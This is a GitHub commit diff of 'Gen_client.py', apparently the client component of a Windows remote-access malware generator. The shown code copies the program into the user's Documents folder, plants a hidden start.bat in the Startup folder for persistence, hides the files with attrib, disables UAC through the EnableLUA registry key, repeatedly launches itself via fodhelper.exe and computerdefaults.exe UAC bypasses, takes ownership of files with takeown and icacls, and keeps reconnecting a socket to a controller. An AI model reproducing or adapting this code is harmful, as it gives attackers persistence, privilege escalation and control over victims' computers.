Skip to content

Commit f200ad6

Browse files
Version 2 Fixed UI Problems
1 parent 7277136 commit f200ad6

File tree

1 file changed

+23
-19
lines changed

1 file changed

+23
-19
lines changed

Gen_client.py

Lines changed: 23 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -19,36 +19,38 @@ def PyInstaller()->None:
1919
from subprocess import getoutput,call
2020
from sys import exit,orig_argv,setrecursionlimit
2121
from os import chdir,environ,system as run
22-
from os.path import basename,dirname,join
22+
from os.path import basename,dirname,join,exists
2323
from socket import socket,AF_INET,SOCK_STREAM,gaierror
2424
from shutil import copyfile
2525
from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey
26-
from psutil import process_iter,AccessDenied
26+
from psutil import process_iter,AccessDenied,NoSuchProcess
2727
import sys
2828
__author__="Vahab Programmer https://github.com/Vahab-Programmer"
2929
__version="0.0.2"
3030
setrecursionlimit(1000000000)
3131
if hasattr(sys,"frozen"):
3232
runfile=join(sys._MEIPASS,"run.exe")
33-
else:runfile=join(dirname(__file__),"run.exe")
33+
else:runfile=join(dirname(orig_argv[0] if hasattr(sys,"frozen") else __file__),"run.exe")
3434
environ["exe"]=" ".join([i for i in orig_argv])
3535
def process_is_double(target:str=None)->int:
3636
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
3737
else :target=" ".join([i for i in orig_argv])
3838
target=target.split(" ")[0]
3939
process = 0
40-
if " ".join([i for i in orig_argv]) == target:
40+
try:
41+
if " ".join([i for i in orig_argv]) == target:
42+
for i in process_iter():
43+
try:
44+
if i.exe() == target:
45+
process +=1
46+
except AccessDenied:pass
47+
return process
4148
for i in process_iter():
4249
try:
43-
if i.exe() == target:
44-
process +=1
50+
if i.exe() == target:process +=1
4551
except AccessDenied:pass
4652
return process
47-
for i in process_iter():
48-
try:
49-
if i.exe() == target:process +=1
50-
except AccessDenied:pass
51-
return process
53+
except NoSuchProcess:return 0
5254
def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter())
5355
def split(target:str,tstr:str)->str:
5456
new_chars=[]
@@ -67,12 +69,14 @@ def connect()->None:
6769
except gaierror:connect()
6870
except OSError:connect()
6971
def CYS()->None:
70-
copyfile(" ".join([i for i in orig_argv]),(r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]))).format(environ.get("username")))
71-
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file:
72+
if exists(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username"))):run("attrib -s -h -r \"{}\"".format(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username"))))
73+
if exists("C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(orig_argv[0] if hasattr(sys,"frozen") else __file__)):run("attrib -s -h -r \"C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(orig_argv[0] if hasattr(sys,"frozen") else __file__)+"\"")
74+
run("copy /B /V /Y \"{}\" \"{}\"".format(orig_argv[0] if hasattr(sys,"frozen") else __file__,r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]))).format(environ.get("username")))
75+
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "wt") as file:
7276
file.write("""@Echo off
73-
start C:\\Users\\{0}\\Documents\\{1}
77+
start C:\\Users\\{}\\Documents\\{}
7478
exit""".format(environ.get("username"), basename(" ".join([i for i in orig_argv]))))
75-
run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(" ".join([i for i in orig_argv])))
79+
run("attrib +s +h +r \"C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(" ".join([i for i in orig_argv]))+"\"")
7680
run("attrib +s +h +r \"C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat\"".format(environ.get("username")))
7781
def LUA_OFF()->None:
7882
key = OpenKeyEx(HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
@@ -87,20 +91,20 @@ def computerdefaults(target:str=None)->None:
8791
if " ".join([i for i in orig_argv]) == target:
8892
x=process_is_double()
8993
while not x<process_is_double():
90-
call("{} computerdefaults.exe {}".format(runfile,target))
94+
call("{} computerdefaults.exe \"{}\"".format(runfile,target))
9195
if x<process_is_double():return
9296
return None
93-
while not process_is_exists(basename(target)):call("{} computerdefaults.exe {}".format(runfile,target))
97+
while not process_is_exists(basename(target)):call("{} computerdefaults.exe \"{}\"".format(runfile,target))
9498
def fodhelper(target:str=None)->None:
9599
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
96100
else :target=" ".join([i for i in orig_argv])
97101
target= target+".exe" if target.split(".")[-1] !="exe" else target
98102
if " ".join([i for i in orig_argv]) == target:
99103
x=process_is_double()
100104
while not x<process_is_double():
101-
call("{} fodhelper.exe {}".format(runfile,target))
105+
call("{} fodhelper.exe \"{}\"".format(runfile,target))
102106
if x<process_is_double():return
103-
while not process_is_exists(basename(target)):call("{} fodhelper.exe {}".format(runfile,target))
107+
while not process_is_exists(basename(target)):call("{} fodhelper.exe \"{}\"".format(runfile,target))
104108
def FDR(target:str)->None:
105109
run("takeown /D Y /R /F {}".format(target))
106110
run("icacls {} /T /C /grant {}:(F,MA)".format(target,environ.get("username")))

0 commit comments

Comments
 (0)